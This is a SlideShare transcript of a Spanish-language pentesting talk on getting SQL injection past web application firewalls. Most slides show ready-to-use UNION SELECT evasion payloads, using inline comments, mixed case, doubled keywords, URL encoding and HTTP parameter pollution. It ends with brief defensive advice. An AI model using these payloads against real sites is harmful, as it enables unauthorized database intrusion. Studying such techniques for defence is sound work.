Bypassing waf advanced
Upcoming SlideShare
Loading in...5
×
 

Bypassing waf advanced

on

  • 207 views

 

Statistics

Views

Total Views
207
Views on SlideShare
207
Embed Views
0

Actions

Likes
0
Downloads
1
Comments
0

0 Embeds 0

No embeds

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

    Bypassing waf advanced Bypassing waf advanced Presentation Transcript

    • BYPASSING WAF ADVANCED “Nunca confíes en un firewall”
    • • Todo el contenido de esta charla es resultado de investigación con fines didácticos y educativos. El autor no se hace responsable por el uso del conocimiento contenido en la siguiente presentación. La información contenida debe ser utilizada únicamente para fines éticos y con la debida autorización. • Todo descubrimiento realizado, ha sido y será usado de forma legal. La audiencia debe asumir todo lo que se exponga hoy, como “falso” y “sin fundamento” hasta que lo compruebe personalmente. Limahack no es el autor directo de ninguno de los descubrimientos expuestos, ni de las herramientas demostradas, ni los conoce. • Todas las opiniones vertidas durante esta presentación son exclusivas del expositor, Limahack no es responsable de ninguna de las opiniones vertidas. DISCLAIMER
    • ¿ WAF ? WAF = Web Application Firewall Es un Firewall de Aplicaciones Web, que monitorea el trafico del protocolo HTTP.
    • EL ADMINISTRADOR WEB Los administradores web piensan que usando un firewall para su servidor web estarán a salvo de ataques, pero hoy vamos a romper el mito. xD
    • ¿ Y PARA QUE SIRVE ? Sirve para poder detectar “ciertas” peticiones maliciosas con el uso de filtros y reglas definidas dentro de una lista por el WAF.
    • ¿ Y MI WEB ES SEGURA SI USO WAF ? Lamentablemente si tu código es vulnerable de nada te servirá usarlo, ya que de todas maneras se podrá pasar los filtros para poder penetrar al servidor web.
    • ¿ COMO DETECTAMOS UN WAF ? Es muy fácil, cuando introducimos comandos que se utiliza en una Inyección SQL u otra vulnerabilidad nos mostrara lo siguiente: (Hay tools que automatizan el trabajo) .
    • A JUGAR CON LOS WAF
    • ¿ Y COMO HAGO EL BYPASS ? A continuación te mostrare métodos para poder hacer el bypass y lograr penetrar al servidor web 1° Usando comentarios en la consulta Normal http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7— Bypass http://127.0.0.1/noticias.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3,4,5,6,7— La mayoría de WAF detectan pero con suerte todo es posible xD
    • BYPASSING WAF 2° Alterando la forma del comando Normal http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7— Bypass http://127.0.0.1/noticias.php?id=-1 uNiOn sEleCt 1,2,3,4,5,6,7— Este bypass también es detectado por algunos WAF. Solo necesitamos un poco de suerte xD Sigamos
    • BYPASSING WAF 3° Duplicando palabra clave Normal http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7— Bypass http://127.0.0.1/noticias.php?id=-1 UNIunionON SELselectECT 1,2,3,4,5,6,7— Los WAF cometen este error de filtrar palabras claves como “UNION”, “SELECT ” pero que pasa si hacemos este tipo de consultas, confundiríamos al WAF cierto ? Y al final la consulta se lograría con éxito Sigamos
    • BYPASSING WAF 3° Usando comentarios y duplicados en la consulta Normal http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7-- Bypass http://127.0.0.1/noticias.php?id=-1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4,5,6,7-- Gran parte de los WAF no detectan este método.
    • BYPASSING WAF Y eso es todo ? Pues no, ahora viene lo mas emocionante. Si los métodos anteriores no hicieron el bypass al WAF, aquí te mostrare métodos mas avanzados para poder saltarlos. (Nada es seguro en esta vida)
    • BYPASSING WAF 4° URL Encoding Normal http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,5,6,7-- Bypass http://127.0.0.1/noticias.php?id=-1 /*!uNI%4fn*/ /*!Sel%45Ct*/ 1,2,3,4,5,6,7-- Donde “O” es igual a “%4f” y “E” es igual a “%45” Lo que hicimos fue colocar el valor de la letra en HEX Codificado para URL.
    • BYPASSING WAF Tabla con algunos valores de URL Encoding
    • BYPASSING WAF 5° Usar otros comandos en la consulta Normal http://127.0.0.1/noticias.php?id=-1 UNION SELECT 1,2,3,4,@@version,6,7-- Bypass http://127.0.0.1/noticias.php?id=-1 /*!uNIOn*/ /*!SelECt*/ 1,2,3,4,version(),6,7-- Todo esta en ver si el comando esta en la lista negra y de ser el caso, usar otra opción para poder hacer el bypass.
    • BYPASSING WAF 6° HTTP Parameter Pollution Es la contaminación de parámetros que pasan por (GET o POST) en el protocolo HTTP. Esta técnica la podremos usar dependiendo del tipo de tecnología en el que este desarrollada la aplicación (PHP, ASP, JSP, etc).
    • BYPASSING WAF
    • BYPASSING WAF ¿ Y COMO APLICO LA TECNICA PARA HACER BYPASS AL WAF ? Supongamos que dupliquemos el parámetro en la URL para alterar la aplicación. http://127.0.0.1/noticias.php?id= 1’  EL WAF ME BANEA =( http://127.0.0.1/noticias.php?id= 1&id=2’  BYPASS WAF =) En PHP, siempre evalúa la ultima variable pero si el WAF esta configurado por defecto como en la mayoría de los casos, pasa esto.
    • BYPASSING WAF Siguiendo con HTTP Parameter Pollution, podríamos hacer bypass a un WAF sin ningún problema, ya que pocos son los WAF que se centran en esta técnica y la potencia que tiene.
    • BYPASSING WAF Así como pudimos realizar bypass a los WAF para poder realizar las Inyecciones SQL, también podríamos concretar otros ataques , ya solo Es cuestión de creatividad 
    • BYPASSING WAF RECOMENDACIONES - Desarrolla tus aplicaciones de forma segura, pensando como un atacante. - Si vas a usar WAF, no uses la configuración por defecto. - Trata de documentarte lo mas que puedas.
    • Autor: Brayan Huaman Pereda Desarrollador y Pentester Contacto: brayan@gruporibra.com Twitter: @brayanhpe
    • ¿ PREGUNTAS ?
    • Gracias